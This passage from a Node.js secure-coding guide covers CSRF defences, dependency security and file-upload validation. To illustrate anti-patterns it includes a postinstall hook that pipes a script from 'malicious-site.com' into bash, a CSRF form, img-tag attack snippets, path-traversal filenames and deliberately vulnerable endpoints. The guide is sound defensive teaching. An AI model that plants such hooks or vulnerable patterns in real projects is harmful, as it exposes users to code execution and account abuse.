- [ ] Admin endpoints protected with requireRole middleware
- [ ] Authorization failures logged for security monitoring
- [ ] No permission checks in frontend only
- [ ] Authorization logic centralized in middleware/helpers
CSRF Protection
Never accept state-changing operations without CSRF tokens. Cross-Site Request Forgery (CSRF) tricks authenticated users into performing unwanted actions without their knowledge.
Framework Examples: This document uses common CSRF protection patterns. Apply to your framework: csurf/csrf-csrf (Express), @fastify/csrf-protection (Fastify), built-in protection (Nest.js), or framework-specific CSRF middleware. Some frameworks (Next.js) may require custom implementation.
Why This Matters
CSRF attacks enable:
- Unauthorized Transfers: Transfer money from victim's bank account
- Account Takeover: Change email/password while user is logged in
- Malicious Actions: Post spam, delete data, change settings as the victim
- Privilege Escalation: Perform admin actions if victim is administrator
An attacker embeds a malicious form in their website. When an authenticated user visits, the form auto-submits to your application using the victim's cookies. Without CSRF protection, the request appears legitimate.
Anti-Patterns to Avoid
❌ NEVER: Accept State-Changing Requests Without CSRF Protection
// ❌ NEVER: No CSRF protection on state-changing endpoint
app.post('/api/transfer', authenticate, async (req, res) => {
const { toAccount, amount } = req.body;
// CRITICAL: No CSRF token validation!
await transferMoney(req.user!.userId, toAccount, amount);
res.json({ success: true });
});
// Attacker's malicious site:
// <form action="https://yoursite.com/api/transfer" method="POST">
// <input name="toAccount" value="attacker-account" />
// <input name="amount" value="10000" />
// </form>
// <script>document.forms[0].submit();</script>
// Victim's cookies automatically sent, transfer succeeds!Risk: Critical - Attackers perform actions as authenticated user
---
❌ NEVER: Rely Only on Cookie Authentication for State Changes
// ❌ NEVER: Cookie-only authentication without CSRF tokens
app.delete('/api/account', authenticate, async (req, res) => {
// Only checks cookie (automatically sent by browser)
await db.users.delete({
where: { id: req.user!.userId },
});
res.json({ message: 'Account deleted' });
});
// Attacker exploits:
// <img src="https://yoursite.com/api/account" />
// GET requests automatically include cookies!Risk: Critical - Any page can trigger destructive actions
---
❌ NEVER: Use GET Requests for State Changes
// ❌ NEVER: State-changing operations via GET
app.get('/api/users/:id/delete', authenticate, async (req, res) => {
await db.users.delete({
where: { id: req.params.id },
});
res.redirect('/users');
});
// Exploitable via:
// <img src="https://yoursite.com/api/users/123/delete" />
// Simple image tag triggers deletion!Risk: High - GET requests easily triggered via img, link prefetch, etc.
---
❌ NEVER: Accept CSRF Tokens in Cookies Only
// ❌ NEVER: CSRF token in cookie alone (no validation)
app.post('/api/update-profile', authenticate, async (req, res) => {
const csrfToken = req.cookies.csrf_token;
// ❌ Only checks if token exists, not if it matches!
if (!csrfToken) {
return res.status(403).json({ error: 'Missing CSRF token' });
}
// Attacker can read victim's cookie and include it in malicious request
await updateProfile(req.user!.userId, req.body);
});Risk: High - Cookie-only validation insufficient
---
❌ NEVER: Use Referrer Header for CSRF Protection
// ❌ NEVER: Rely on Referrer header (easily spoofed)
app.post('/api/transfer', authenticate, async (req, res) => {
const referrer = req.headers.referer;
// ❌ Referrer can be omitted or spoofed
if (!referrer || !referrer.startsWith('https://yoursite.com')) {
return res.status(403).json({ error: 'Invalid referrer' });
}
await transferMoney(req.user!.userId, req.body.toAccount, req.body.amount);
});Risk: High - Referrer header unreliable, can be blocked by privacy tools
---
Correct Patterns
✅ ALWAYS: Use SameSite Cookies
// ✅ SameSite cookies prevent CSRF
app.post('/api/login', async (req, res) => {
const token = generateToken(user);
res.cookie('session', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict', // ✅ Cookie only sent for same-site requests
maxAge: 3600000, // 1 hour
});
res.json({ message: 'Logged in' });
});
// ✅ SameSite: 'strict' - Most secure (recommended for sensitive operations)
// Cookie never sent on cross-site requests (including navigation from external sites)
// ✅ SameSite: 'lax' - Balance of security and usability
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'lax', // ✅ Cookie sent on top-level navigation GET requests
maxAge: 3600000,
});
// Good for general applications where users click links from emails
// ❌ NEVER use SameSite: 'none' without additional CSRF protection
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'none', // ❌ Cookie sent on all cross-site requests!
maxAge: 3600000,
});Benefit: Browser prevents cookies from being sent in cross-site requests
---
✅ ALWAYS: Implement Double Submit Cookie Pattern
import crypto from 'crypto';
// ✅ Generate CSRF token
function generateCsrfToken(): string {
return crypto.randomBytes(32).toString('hex');
}
// ✅ Set CSRF token cookie
app.use((req, res, next) => {
if (!req.cookies.csrf_token) {
const csrfToken = generateCsrfToken();
// ✅ Set CSRF token in cookie (readable by JavaScript)
res.cookie('csrf_token', csrfToken, {
httpOnly: false, // ✅ Must be readable by JavaScript
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 3600000,
});
}
next();
});
// ✅ Validate CSRF token middleware
function validateCsrfToken(req: Request, res: Response, next: NextFunction) {
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next(); // ✅ Skip validation for safe methods
}
const tokenFromCookie = req.cookies.csrf_token;
const tokenFromHeader = req.headers['x-csrf-token'];
// ✅ Both tokens must exist and match
if (!tokenFromCookie || !tokenFromHeader) {
return res.status(403).json({ error: 'Missing CSRF token' });
}
if (tokenFromCookie !== tokenFromHeader) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
// ✅ Apply CSRF protection to state-changing endpoints
app.post('/api/transfer',
authenticate,
validateCsrfToken, // ✅ Validate CSRF token
async (req, res) => {
await transferMoney(req.user!.userId, req.body.toAccount, req.body.amount);
res.json({ success: true });
}
);
// ✅ Frontend: Send CSRF token in header
async function transfer(toAccount: string, amount: number) {
// ✅ Read CSRF token from cookie
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken!, // ✅ Include token in header
},
body: JSON.stringify({ toAccount, amount }),
credentials: 'include', // ✅ Include cookies
});
return response.json();
}Benefit: Attacker cannot read victim's CSRF cookie due to same-origin policy
---
✅ ALWAYS: Use Synchronizer Token Pattern (More Secure)
import crypto from 'crypto';
// ✅ Store CSRF tokens in server-side session
interface Session {
userId: string;
csrfToken: string;
}
const sessions = new Map<string, Session>(); // Use Redis in production
// ✅ Generate and store CSRF token
app.post('/api/login', async (req, res) => {
const user = await validateUser(req.body.email, req.body.password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const sessionId = crypto.randomBytes(32).toString('hex');
const csrfToken = crypto.randomBytes(32).toString('hex');
// ✅ Store CSRF token in server-side session
sessions.set(sessionId, {
userId: user.id,
csrfToken,
});
// ✅ Send session ID in httpOnly cookie
res.cookie('session_id', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000,
});
// ✅ Send CSRF token in response (not in cookie)
res.json({
message: 'Logged in',
csrfToken, // ✅ Client stores this and includes in requests
});
});
// ✅ Validate CSRF token against session
function validateCsrfTokenSync(req: Request, res: Response, next: NextFunction) {
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next();
}
const sessionId = req.cookies.session_id;
const csrfToken = req.headers['x-csrf-token'] as string;
if (!sessionId || !csrfToken) {
return res.status(403).json({ error: 'Missing CSRF token' });
}
const session = sessions.get(sessionId);
if (!session) {
return res.status(401).json({ error: 'Invalid session' });
}
// ✅ Validate token matches session
if (session.csrfToken !== csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
// ✅ Attach session to request
req.user = { userId: session.userId };
next();
}
// ✅ Usage
app.post('/api/transfer',
validateCsrfTokenSync, // ✅ Validates session AND CSRF token
async (req, res) => {
await transferMoney(req.user!.userId, req.body.toAccount, req.body.amount);
res.json({ success: true });
}
);
// ✅ Frontend: Store CSRF token and send with requests
let csrfToken: string | null = null;
async function login(email: string, password: string) {
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
credentials: 'include',
});
const data = await response.json();
// ✅ Store CSRF token in memory (not localStorage - XSS protection)
csrfToken = data.csrfToken;
}
async function transfer(toAccount: string, amount: number) {
if (!csrfToken) {
throw new Error('Not authenticated');
}
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken, // ✅ Include token from login response
},
body: JSON.stringify({ toAccount, amount }),
credentials: 'include',
});
return response.json();
}Benefit: Server validates token against session, more secure than double-submit
---
✅ ALWAYS: Use CSRF Protection Middleware (csurf)
import csrf from 'csurf';
import cookieParser from 'cookie-parser';
// ✅ Configure csurf middleware
const csrfProtection = csrf({
cookie: {
httpOnly: false, // Must be readable by JavaScript
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
},
});
app.use(cookieParser());
// ✅ Apply globally or per-route
app.use(csrfProtection); // All routes protected
// ✅ Send CSRF token to client
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// ✅ Protected endpoints automatically validate
app.post('/api/transfer', csrfProtection, authenticate, async (req, res) => {
// ✅ csurf middleware validates CSRF token automatically
await transferMoney(req.user!.userId, req.body.toAccount, req.body.amount);
res.json({ success: true });
});
// ✅ Frontend: Fetch and use CSRF token
async function setupCsrf() {
const response = await fetch('/api/csrf-token', {
credentials: 'include',
});
const { csrfToken } = await response.json();
// ✅ Store token for use in subsequent requests
return csrfToken;
}
let csrfToken: string;
async function init() {
csrfToken = await setupCsrf();
}
async function transfer(toAccount: string, amount: number) {
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify({ toAccount, amount }),
credentials: 'include',
});
return response.json();
}Benefit: Battle-tested library handles edge cases and token generation
---
✅ ALWAYS: Require Re-Authentication for Sensitive Actions
// ✅ Require password confirmation for sensitive operations
app.post('/api/account/delete', authenticate, async (req, res) => {
const { password } = req.body;
// ✅ Verify password before destructive action
const user = await db.users.findUnique({
where: { id: req.user!.userId },
});
const isValidPassword = await bcrypt.compare(password, user.password);
if (!isValidPassword) {
return res.status(401).json({ error: 'Invalid password' });
}
// ✅ Delete account only after password confirmation
await db.users.delete({
where: { id: req.user!.userId },
});
res.json({ message: 'Account deleted' });
});
// ✅ Require recent authentication for sensitive changes
app.post('/api/account/change-email', authenticate, async (req, res) => {
const { newEmail } = req.body;
// ✅ Check last authentication time
const lastAuth = req.user!.lastAuthTime;
const fiveMinutesAgo = Date.now() - 5 * 60 * 1000;
if (lastAuth < fiveMinutesAgo) {
return res.status(403).json({
error: 'Recent authentication required',
code: 'REAUTHENTICATION_REQUIRED',
});
}
await db.users.update({
where: { id: req.user!.userId },
data: { email: newEmail },
});
res.json({ message: 'Email updated' });
});Benefit: Even if CSRF protection bypassed, attacker cannot complete action without password
---
✅ ALWAYS: Use Custom Request Headers
// ✅ Require custom header for API requests
function requireCustomHeader(req: Request, res: Response, next: NextFunction) {
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next();
}
// ✅ Require X-Requested-With header (simple requests cannot set this)
const requestedWith = req.headers['x-requested-with'];
if (requestedWith !== 'XMLHttpRequest') {
return res.status(403).json({ error: 'Invalid request' });
}
next();
}
// ✅ Apply to API routes
app.use('/api', requireCustomHeader);
// ✅ Frontend: Include custom header
async function apiRequest(endpoint: string, options: RequestInit = {}) {
return fetch(endpoint, {
...options,
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // ✅ Custom header
...options.headers,
},
credentials: 'include',
});
}Benefit: Simple CSRF attacks (form submit, img tag) cannot set custom headers
---
Pre-Deployment Checklist
Before deploying to production:
- [ ] SameSite cookies configured (strict or lax)
- [ ] CSRF tokens implemented for all state-changing operations
- [ ] CSRF token validation in middleware before processing requests
- [ ] No state-changing operations via GET requests
- [ ] Double-submit cookie pattern OR synchronizer token pattern implemented
- [ ] CSRF tokens included in custom headers (not URL parameters)
- [ ] Custom X-Requested-With header required for API endpoints
- [ ] Re-authentication required for sensitive operations (delete account, change email/password)
- [ ] CSRF protection tested with automated tools
- [ ] Error messages don't reveal CSRF token validation details
- [ ] CSRF tokens regenerated after authentication
- [ ] Safe HTTP methods (GET, HEAD, OPTIONS) excluded from CSRF validation
Dependency Security
Never deploy with known vulnerabilities in dependencies. Outdated packages contain exploitable security flaws that attackers actively target.
Package Manager Examples: This document uses npm commands for illustration. Apply these principles to your package manager: npm, yarn, pnpm, or bun. Each has equivalent audit and security scanning capabilities.
Why This Matters
Vulnerable dependencies enable:
- Remote Code Execution: Critical vulnerabilities allow attackers to run arbitrary code
- Data Breaches: SQL injection, XSS, or authentication bypass in libraries
- Supply Chain Attacks: Compromised packages inject malicious code
- Known Exploits: Public CVEs have documented attack vectors
A single outdated package with a critical vulnerability exposes your entire application. Attackers scan for known vulnerabilities using automated tools. The Log4j vulnerability (CVE-2021-44228) affected millions of applications worldwide.
Anti-Patterns to Avoid
❌ NEVER: Ignore Dependency Security Warnings
# ❌ NEVER: Skip security audits
npm install # or: yarn install, pnpm install, bun install
# 23 vulnerabilities (5 critical, 10 high, 8 moderate)
# ❌ Developer ignores warnings and deploys
# ❌ NEVER: Use --force to bypass warnings
npm install --force # or: yarn install --force, etc.
# Ignores all warnings and installs anywayRisk: Critical - Known vulnerabilities deployed to production
---
❌ NEVER: Use Wildcard Version Ranges
{
"dependencies": {
"express": "*",
"axios": "^1.x",
"lodash": ">=4.0.0"
}
}Risk: High - Automatically pulls vulnerable versions, unpredictable behavior
---
❌ NEVER: Install Packages from Unknown Sources
# ❌ NEVER: Install from untrusted sources
npm install github:random-user/suspicious-package
# Applies to all package managers
# ❌ NEVER: Install packages with typosquatting names
npm install expres # Typo of "express" - could be malicious!
# Watch for common typos in popular packages
# ❌ NEVER: Install packages without checking reputation
npm install brand-new-package-no-downloads
# Package has 0 downloads, no source repo, created yesterdayRisk: Critical - Supply chain attack, malicious code execution
---
❌ NEVER: Run npm Scripts Without Reviewing
{
"scripts": {
"postinstall": "curl http://malicious-site.com/steal.sh | bash"
}
}Risk: Critical - Malicious packages execute code during installation
---
❌ NEVER: Use Outdated Major Versions
{
"dependencies": {
"express": "3.0.0",
"mongoose": "4.0.0",
"react": "15.0.0"
}
}Risk: High - Multiple known vulnerabilities, no security patches
---
Correct Patterns
✅ ALWAYS: Run Security Audits Before Deployment
# ✅ Check for vulnerabilities using your package manager
npm audit # npm
yarn audit # yarn
pnpm audit # pnpm
bun audit # bun (when available)
# ✅ Fix automatically when possible
npm audit fix # npm
yarn upgrade # yarn
pnpm update # pnpm
# ✅ View detailed vulnerability report
npm audit --json > audit-report.json
# ✅ Fail CI/CD if vulnerabilities found
npm audit --audit-level=moderate
yarn audit --level moderate
pnpm audit --audit-level moderate
# Exit code 1 if moderate or higher vulnerabilities foundBenefit: Identifies and fixes known vulnerabilities before deployment
Package Manager Commands:
- npm:
npm audit,npm audit fix - yarn:
yarn audit,yarn upgrade - pnpm:
pnpm audit,pnpm update - bun: Check docs for audit commands
---
✅ ALWAYS: Use Exact or Tilde Version Ranges
{
"dependencies": {
"express": "4.18.2",
"axios": "~1.6.0",
"lodash": "4.17.21"
}
}Benefit: Predictable versions, controlled updates, easier to audit
---
✅ ALWAYS: Lock Dependencies with Lockfiles
# ✅ Commit lockfiles to version control (package-lock.json, yarn.lock, pnpm-lock.yaml, bun.lockb)
git add package-lock.json # npm
git add yarn.lock # yarn
git add pnpm-lock.yaml # pnpm
git add bun.lockb # bun
git commit -m "Lock dependencies"
# ✅ Use CI-optimized install commands in production/CI
npm ci # npm: Installs exact versions from lockfile
yarn install --frozen-lockfile # yarn: Fails if lockfile out of sync
pnpm install --frozen-lockfile # pnpm: Fails if lockfile out of sync
bun install --frozen-lockfile # bun: Fails if lockfile out of sync
# ❌ NEVER use regular install commands in CI/production
npm install # Can install different versions than lockfile
yarn install # May update lockfile
pnpm install # May update lockfileBenefit: Consistent installs across all environments, no version drift
---
✅ ALWAYS: Audit Dependencies Regularly
// ✅ Automated dependency auditing in CI/CD
// .github/workflows/security.yml
/*
name: Security Audit
on:
schedule:
- cron: '0 0 * * *' # Daily
push:
branches: [main]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- run: npm ci
- run: npm audit --audit-level=high
*/
// ✅ Automated PRs for dependency updates
// Configure Dependabot or Renovate
// .github/dependabot.yml
/*
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: weekly
open-pull-requests-limit: 10
versioning-strategy: increase
*/Benefit: Continuous monitoring, automated security patches
---
✅ ALWAYS: Verify Package Integrity
# ✅ Check package reputation before installing
npm info package-name
# Output shows:
# - Download count (higher = more trusted)
# - Last publish date (recent updates good)
# - Repository URL (verify legitimate source)
# - Maintainers (check if known developers)
# ✅ Review package before installing
npm view package-name repository
# Verify GitHub URL is legitimate
npm view package-name maintainers
# Check if maintainers are known/trusted
# ✅ Check package size (suspiciously large = potential malware)
npm view package-name dist.unpackedSizeBenefit: Avoids supply chain attacks from malicious packages
---
✅ ALWAYS: Use npm audit in CI/CD Pipeline
# ✅ .github/workflows/ci.yml
name: CI
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Node.js
uses: actions/setup-node@v3
with:
node-version: '18'
- name: Install dependencies
run: npm ci
- name: Security audit
run: npm audit --audit-level=moderate
# Fails if moderate or higher vulnerabilities
- name: Check for outdated packages
run: npm outdated || true # Warning only
test:
needs: security # Only run tests if security passes
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: npm ci
- run: npm testBenefit: Prevents vulnerable code from being deployed
---
✅ ALWAYS: Review Dependency Changes in PRs
# ✅ Check what changed in package-lock.json
git diff main -- package-lock.json
# ✅ Review dependency updates carefully
npm ls package-name # See why package is installed (direct or transitive)
# ✅ Check for unexpected dependencies
npm ls # View full dependency tree
# Look for unfamiliar packagesBenefit: Catches malicious or unexpected dependency changes
---
✅ ALWAYS: Minimize Dependencies
// ❌ NEVER: Install entire library for one function
import _ from 'lodash'; // 24KB gzipped
const result = _.uniq(array);
// ✅ ALWAYS: Use native JavaScript when possible
const result = [...new Set(array)]; // Native, 0KB
// ✅ Or import specific function only
import uniq from 'lodash/uniq'; // Smaller bundle
// ❌ NEVER: Install unnecessary packages
// moment.js (232KB) when date-fns (17KB) or native Date suffices
// ✅ Evaluate necessity before installing
// - Can I use native JavaScript?
// - Is there a smaller alternative?
// - Do I really need this feature?Benefit: Fewer dependencies = smaller attack surface, faster installs
---
✅ ALWAYS: Use Security Scanning Tools
# ✅ Snyk - Advanced vulnerability scanning
npm install -g snyk
snyk auth
snyk test # Scan for vulnerabilities
snyk monitor # Continuous monitoring
# ✅ npm audit alternatives
npx audit-ci --moderate # Fail CI on moderate+
# ✅ OSS Review Toolkit
npm install -g ort
ort analyze -i . -o ort-results
# ✅ Socket.dev - Supply chain security
npx socket-cli ci
# ✅ GitHub Advanced Security (if available)
# Enable in repository settings → Security → Code scanningBenefit: More comprehensive vulnerability detection than npm audit alone
---
✅ ALWAYS: Monitor for Security Advisories
# ✅ Subscribe to security advisories
npm config set security-advisory-frequency daily
# ✅ GitHub Watch for security updates
# Click "Watch" → "Custom" → "Security alerts" on dependencies
# ✅ Enable GitHub Dependabot alerts
# Settings → Security & analysis → Dependabot alerts
# ✅ Follow security blogs
# - Node.js Security Releases: https://nodejs.org/en/blog/vulnerability/
# - npm Blog: https://blog.npmjs.org/
# - Snyk Vulnerability Database: https://security.snyk.io/Benefit: Proactive notification of new vulnerabilities
---
✅ ALWAYS: Keep Runtime Updated
# ✅ Use LTS (Long Term Support) version for Node.js
# With nvm (Node Version Manager):
nvm install --lts
nvm use --lts
# With volta:
volta install node@lts
# With fnm (Fast Node Manager):
fnm install --lts
# ✅ Update runtime regularly
nvm install 18 # nvm
volta install node@18 # volta
fnm install 18 # fnm
# ✅ Specify runtime version in package.json
{
"engines": {
"node": ">=18.0.0 <19.0.0",
"bun": ">=1.0.0" // If using Bun
}
}
# ✅ Use version files for consistent versions across team
echo "18" > .nvmrc # nvm
echo "18" > .node-version # fnm, voltaBenefit: Security patches, performance improvements, modern features
Runtime Version Managers:
- nvm: Node Version Manager (most common)
- volta: Fast, cross-platform version manager
- fnm: Fast Node Manager (written in Rust)
- asdf: Multi-language version manager
- n: Simple Node version manager
---
✅ ALWAYS: Verify Package Integrity
# ✅ Enable signature verification (npm 8.15.0+)
npm config set audit-signatures true
# ✅ Verify packages
npm audit signatures # npm
yarn audit signatures # yarn (if available)
# ✅ Check package registry signatures and checksums
npm view package-name dist.signatures
npm view package-name dist.integrity
# Package managers verify checksums automatically during installBenefit: Ensures packages haven't been tampered with
Integrity Checks: All major package managers (npm, yarn, pnpm, bun) verify package integrity using checksums from lockfiles during installation.
---
Pre-Deployment Checklist
Before deploying to production:
- [ ] Security audit run with no high or critical vulnerabilities (using your package manager's audit command)
- [ ] Lockfile committed to version control (package-lock.json, yarn.lock, pnpm-lock.yaml, or bun.lockb)
- [ ] Dependencies use exact or tilde version ranges (not wildcards)
- [ ] All direct dependencies actively maintained (check last update)
- [ ] No dependencies from unknown or untrusted sources
- [ ] Dependency count minimized (only necessary packages)
- [ ] Runtime version is latest LTS (Node.js, Bun, etc.)
- [ ] CI/CD pipeline fails on high/critical vulnerabilities
- [ ] Automated dependency updates configured (Dependabot, Renovate, or similar)
- [ ] Security advisories monitored for critical dependencies
- [ ] CI-optimized install command used in production (npm ci, yarn --frozen-lockfile, etc.)
- [ ] Transitive dependencies reviewed (using dependency tree command for your package manager)
- [ ] No packages with known malware or suspicious behavior
- [ ] Package integrity verification enabled
File Upload Security
Never accept file uploads without validation. Malicious file uploads enable remote code execution, XSS attacks, denial of service, and data breaches.
File Upload Library Examples: This document uses common patterns for file upload handling. Apply to your upload solution: multer, formidable, busboy, multer-s3, @fastify/multipart, Next.js file routes, or cloud storage SDKs (AWS S3, Google Cloud Storage, etc.).
Why This Matters
Insecure file uploads enable:
- Remote Code Execution: Upload executable files (PHP, JSP, shell scripts) that run on server
- XSS Attacks: Upload HTML/SVG files with malicious JavaScript
- Path Traversal: Overwrite system files using ../ in filenames
- Denial of Service: Upload massive files to exhaust disk space
- Malware Distribution: Upload viruses that infect other users
For web applications, uploading a PHP shell to a public directory grants attacker full server access. A single unvalidated file upload can compromise entire infrastructure.
Anti-Patterns to Avoid
❌ NEVER: Trust File Extensions
import multer from 'multer';
// ❌ NEVER: Validate only file extension
const upload = multer({ dest: 'uploads/' });
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
// ❌ Only checks extension
if (!file.originalname.endsWith('.jpg')) {
return res.status(400).json({ error: 'Only JPG files' });
}
// Attacker bypass: shell.php.jpg or shell.jpg (actually PHP file)
// File extension doesn't guarantee file type!
});
// ❌ NEVER: Trust client-provided MIME type
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
// ❌ Client controls mimetype header
if (file.mimetype !== 'image/jpeg') {
return res.status(400).json({ error: 'Only JPEG images' });
}
// Attacker sends: Content-Type: image/jpeg with PHP shell
});Risk: Critical - Executable files uploaded, remote code execution
---
❌ NEVER: Store Files with User-Provided Names
import multer from 'multer';
import path from 'path';
// ❌ NEVER: Use original filename
const storage = multer.diskStorage({
destination: 'uploads/',
filename: (req, file, cb) => {
// CRITICAL: Uses user filename directly!
cb(null, file.originalname);
},
});
const upload = multer({ storage });
// Attacker payloads:
// - "../../etc/passwd" (path traversal, overwrites system file)
// - "shell.php" (executable in uploads directory)
// - "index.html" (overwrites legitimate files)
// - "<script>alert(1)</script>.jpg" (XSS in filename)Risk: Critical - Path traversal, arbitrary file write, code execution
---
❌ NEVER: Allow Unlimited File Sizes
// ❌ NEVER: No size limits
const upload = multer({ dest: 'uploads/' }); // No limits!
app.post('/api/upload', upload.single('file'), async (req, res) => {
// Attacker uploads 10GB file, exhausts disk space
// Application crashes, legitimate uploads fail
});Risk: High - Denial of service, disk exhaustion
---
❌ NEVER: Serve Uploaded Files Directly
import express from 'express';
// ❌ NEVER: Serve upload directory as static files
app.use('/uploads', express.static('uploads'));
// If uploads/ contains shell.php, attacker accesses:
// https://yourdomain.com/uploads/shell.php
// PHP executes, attacker has remote shell!
// ❌ NEVER: Send uploaded files without Content-Disposition
app.get('/files/:filename', (req, res) => {
res.sendFile(`uploads/${req.params.filename}`);
// HTML files execute JavaScript in user's browser
// SVG files can contain malicious scripts
});Risk: Critical - Code execution, XSS attacks on other users
---
❌ NEVER: Skip Virus Scanning
// ❌ NEVER: Accept files without malware scanning
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
// No virus scanning!
// Store file, serve to other users
await saveFile(file);
// Attacker uploads ransomware, other users download and execute
});Risk: High - Malware distribution, user devices compromised
---
Correct Patterns
✅ ALWAYS: Validate File Type by Magic Bytes
import multer from 'multer';
import fileType from 'file-type';
import fs from 'fs/promises';
// ✅ Validate file type by content (magic bytes)
async function validateFileType(
filePath: string,
allowedTypes: string[]
): Promise<boolean> {
const buffer = await fs.readFile(filePath);
// ✅ Detect actual file type from content
const type = await fileType.fromBuffer(buffer);
if (!type) {
return false; // Unknown file type
}
// ✅ Check against whitelist
return allowedTypes.includes(type.mime);
}
// ✅ Strict validation
const upload = multer({
dest: 'uploads/temp/', // Temporary location
limits: {
fileSize: 5 * 1024 * 1024, // 5MB max
},
});
app.post('/api/upload-image', upload.single('image'), async (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded' });
}
const file = req.file;
try {
// ✅ Whitelist allowed MIME types
const allowedTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/webp',
];
// ✅ Validate file type by magic bytes
const isValid = await validateFileType(file.path, allowedTypes);
if (!isValid) {
await fs.unlink(file.path); // Delete invalid file
return res.status(400).json({ error: 'Invalid file type' });
}
// ✅ Generate safe filename
const safeFilename = `${crypto.randomUUID()}.${
(await fileType.fromFile(file.path))!.ext
}`;
// ✅ Move to permanent location
await fs.rename(file.path, `uploads/images/${safeFilename}`);
res.json({
message: 'File uploaded',
filename: safeFilename,
});
} catch (error) {
// Clean up on error
await fs.unlink(file.path).catch(() => {});
res.status(500).json({ error: 'Upload failed' });
}
});Benefit: Validates actual file content, not just extension or client-provided type
---
✅ ALWAYS: Generate Random Filenames
import { randomUUID } from 'crypto';
import path from 'path';
// ✅ Generate cryptographically secure random filenames
const storage = multer.diskStorage({
destination: 'uploads/temp/',
filename: (req, file, cb) => {
// ✅ Random UUID filename (no user input)
const safeFilename = `${randomUUID()}${path.extname(file.originalname)}`;
cb(null, safeFilename);
},
});
const upload = multer({ storage });
// ✅ Store original filename in database separately
interface FileMetadata {
id: string;
storageFilename: string; // Random UUID
originalFilename: string; // User-provided (for display only)
mimeType: string;
size: number;
uploadedBy: string;
uploadedAt: Date;
}
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
// ✅ Sanitize original filename for display
const sanitizedOriginalName = file.originalname
.replace(/[^a-zA-Z0-9.-]/g, '_') // Replace unsafe chars
.substring(0, 255); // Limit length
const metadata: FileMetadata = {
id: randomUUID(),
storageFilename: file.filename, // Random UUID
originalFilename: sanitizedOriginalName,
mimeType: file.mimetype,
size: file.size,
uploadedBy: req.user!.userId,
uploadedAt: new Date(),
};
await db.files.create({ data: metadata });
res.json({
fileId: metadata.id,
filename: metadata.originalFilename,
});
});Benefit: Prevents path traversal, filename conflicts, predictable filenames
---
✅ ALWAYS: Enforce Size Limits at Multiple Layers
import multer from 'multer';
// ✅ Configure multer with strict limits
const upload = multer({
dest: 'uploads/temp/',
limits: {
fileSize: 5 * 1024 * 1024, // 5MB per file
files: 1, // Only 1 file per request
fields: 10, // Max form fields
parts: 20, // Max parts in multipart
},
fileFilter: (req, file, cb) => {
// ✅ Early rejection of disallowed types
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!allowedMimes.includes(file.mimetype)) {
return cb(new Error('Invalid file type'));
}
cb(null, true);
},
});
// ✅ Additional size validation
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
// ✅ Double-check size (defense in depth)
const MAX_SIZE = 5 * 1024 * 1024;
if (file.size > MAX_SIZE) {
await fs.unlink(file.path);
return res.status(400).json({ error: 'File too large' });
}
// Process file...
});
// ✅ Global payload size limit
app.use(express.json({ limit: '1mb' }));
app.use(express.urlencoded({ limit: '1mb', extended: true }));Benefit: Multiple layers prevent DoS via oversized uploads
---
✅ ALWAYS: Serve Files with Safe Headers
import path from 'path';
// ✅ Serve uploaded files with security headers
app.get('/api/files/:fileId', authenticate, async (req, res) => {
const { fileId } = req.params;
const file = await db.files.findUnique({
where: { id: fileId },
});
if (!file) {
return res.status(404).json({ error: 'File not found' });
}
// ✅ Authorization check
if (file.uploadedBy !== req.user!.userId) {
return res.status(403).json({ error: 'Access denied' });
}
// ✅ Set secure headers
res.setHeader('Content-Type', file.mimeType);
res.setHeader(
'Content-Disposition',
`attachment; filename="${file.originalFilename}"` // Force download
);
res.setHeader('X-Content-Type-Options', 'nosniff'); // Prevent MIME sniffing
res.setHeader('Content-Security-Policy', "default-src 'none'"); // No scripts
// ✅ Stream file
const filePath = path.join('uploads/images', file.storageFilename);
res.sendFile(filePath);
});
// ✅ For inline display (images), use restrictive CSP
app.get('/api/images/:fileId', async (req, res) => {
const { fileId } = req.params;
const file = await db.files.findUnique({
where: { id: fileId },
});
if (!file) {
return res.status(404).json({ error: 'File not found' });
}
// ✅ Only allow image display
if (!file.mimeType.startsWith('image/')) {
return res.status(400).json({ error: 'Not an image' });
}
// ✅ Inline but with CSP
res.setHeader('Content-Type', file.mimeType);
res.setHeader('Content-Disposition', 'inline');
